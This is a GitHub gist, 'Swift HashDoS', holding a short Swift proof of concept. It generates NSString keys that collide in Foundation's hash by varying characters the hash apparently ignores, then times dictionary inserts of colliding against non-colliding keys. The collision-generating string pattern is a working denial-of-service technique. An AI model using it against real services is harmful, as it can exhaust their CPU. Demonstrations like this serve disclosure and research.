Created
February 4, 2015 10:08
-
-
Save dchest/7225cf79c1ea2166489c to your computer and use it in GitHub Desktop.
Swift HashDoS
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import Foundation | |
func randomStringWithLength (len : Int) -> NSString { | |
// from http://stackoverflow.com/a/26845710/311196 | |
let letters : NSString = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" | |
var randomString : NSMutableString = NSMutableString(capacity: len) | |
for (var i=0; i < len; i++){ | |
var length = UInt32 (letters.length) | |
var rand = arc4random_uniform(length) | |
randomString.appendFormat("%C", letters.characterAtIndex(Int(rand))) | |
} | |
return randomString | |
} | |
func collidingString() -> NSString { | |
return NSString(format: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa________________aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", | |
randomStringWithLength(15)); | |
} | |
func nonCollidingString() -> NSString { | |
return NSString(format: "%@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa________________aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", | |
randomStringWithLength(15)); | |
} | |
var d = NSMutableDictionary(); | |
var start = NSDate(); | |
for i in 0...10000 { | |
d[nonCollidingString()] = "some value" | |
} | |
println("Non-colliding: "); | |
println(NSDate().timeIntervalSinceDate(start)); | |
d = NSMutableDictionary(); | |
start = NSDate(); | |
for i in 0...10000 { | |
d[collidingString()] = "some value" | |
} | |
println("Colliding: "); | |
println(NSDate().timeIntervalSinceDate(start)); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Previously: Objective-C HashDoS https://gist.github.com/dchest/4467707